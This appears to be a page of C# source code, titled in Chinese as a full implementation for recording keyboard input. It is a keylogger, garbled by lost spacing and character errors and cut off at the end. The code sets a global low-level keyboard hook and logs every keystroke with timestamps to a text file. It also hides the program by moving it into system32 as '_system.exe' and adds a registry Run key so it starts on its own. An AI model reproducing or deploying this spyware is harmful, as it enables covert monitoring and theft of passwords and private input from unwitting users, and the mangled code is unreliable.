C#实现记录键盘输入完整版

1、HCode=C#/Hook.cs 代码usingSystem;usingSystem.Runtime.InteropServices;usingSystem.Reflection;usingSystem.Windows.Forms;namespaceKingOperpublicenumKeyboardEventsKeyDown=0 x0100,KeyUp=0 x0101,SystemKeyDown=0 x0104,SystemKeyUp=0 x0105StructLayout(LayoutKind.Sequential)publicstructKeyboardHookStructpublici

2、ntvkCode;/表示一个在 1 到 254 间的虚似键盘码publicintscanCode;/表示硬件扫描码publicintflags;publicinttime;publicintdwExtraInfo;publicdelegatevoidKeyboardEventHandler(KeyboardEventskeyEvent,System.Windows.Forms.Keyskey);publicclassHookpubliceventKeyboardEventHandlerKeyboardEvent;publicenumHookTypeWH_JOURNALRECORD=0,WH_J

3、OURNALPLAYBACK=1,WH_KEYBOARD=2,WH_GETMESSAGE=3,WH_CALLWNDPROC=4,WH_CBT=5,WH_SYSMSGFILTER=6,WH_MOUSE=7,WH_HARDWARE=8,WH_DEBUG=9,WH_SHELL=10,WH_FOREGROUNDIDLE=11,WH_CALLWNDPROCRET=12,WH_KEYBOARD_LL=13,WH_MOUSE_LL=14,WH_MSGFILTER=-1,publicdelegateIntPtrHookProc(intcode,intwParam,IntPtrIParam);Dlllmport

4、(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrSetWindowsHookEx(HookTypehookType,HookProchook,IntPtrinstance,intthreadID);DllImport(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrCallNextHookEx(IntPtrhookHandle,intcode,intwParam,IntPtrlParam);DllImport(User32.dll,CharSet=CharSet.A

5、uto)publicstaticexternboolUnhookWindowsHookEx(lntPtrhookHandle);privateIntPtrinstanee;privateIntPtrhookHandle;privateintthreadID;privateHookProchookProcEx;publicHook()this.instanee=Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0);this.threadID=0;hookHandle=IntPtr.Zero;hookProcEx=n

6、ewHookProc(hookProc);publicboolSetHook()this.hookHandle=SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadlD);return(int)hookHandle!=0);publicIntPtrhookProc(intcode,intwParam,IntPtrlParam)if(code=0)KeyboardEventskEvent=(KeyboardEvents)wParam;if(kEvent!=KeyboardEvents.KeyDo

7、wn&kEvent!=KeyboardEvents.KeyUp&kEvent!=KeyboardEvents.SystemKeyDown&kEvent!=KeyboardEvents.SystemKeyUp)returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);KeyboardHookStructMyKey=KeyboardHookStruct();Typet=MyKey.GetType();MyKey(KeyboardHookStruct)Marshal.Ptr

8、ToStructure(IParam,t);KeyskeyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent,keyData);returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);publicboolUnHook()returnHook.UnhookWindowsHookEx(this.hookHandle);/RegistryReport.cs 代码usingSystem;usingSystem.IO;usingMicrosoft.Win32;u

9、singSystem.Windows.Forms;namespaceKingOperpublicclassRegistryReportpublicRegistryReport()publicvoidMoveFile()if(!File.Exists(c:windowsWsystem32W_system.exe)File.Move(Application.ExecutablePath,c:windowsWsystem32W_system.exe);elsereturn;publicvoidregistryRun()newRegistryKeykey 仁 Registry.CurrentUser.

10、CreateSubKey(SofwareMicrosoftWindowsWCurrentVersionrun);key1.SetValue(,c:windowsWsystem32W_system.exe);key1.Close();/Report.cs 代码usingSystem;usingSystem.IO;namespaceKingOperpublicclassReportpublicReport()+DateTime.Today.Month.ToString()+.+DateTime.Today.Day.ToString()+DateTime.Now.Hour.ToString()+:+

11、DateTime.Now.Minute.ToString()+:+DateTime.Now.Second.ToString()+*);sw.Close();publicvoidWriteDate(stringkeyEvents,stringkeyDate)tryStreamWritersw=newStreamWriter(c:/keyReport.txt,true);sw.WriteLine(keyDate+键”+keyEvents+DateTime.Now.Hour.ToString()+:+DateTime.Now.Minute.ToString()+:+DateTime.Now.Seco

12、nd.ToString();sw.Close();catchreturn;publicvoidFirstWrite()StreamWriterStreamWriter(c:/windows/system32/keyReport.txt,true);sw.WriteLine(*);sw.WriteLine(*swnewLittleStudioStudio*+DateTime.Today.Year.ToString()+test_Load 调用的实现privateHookMyHook=newHook();privateReportMyReport=newReport();privateRegistryReportMyRegistryReport;privatevoidtest_Load(objectsender,System.EventArgse)MyRegistryReport=newRegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent+=newKeyboardEventHan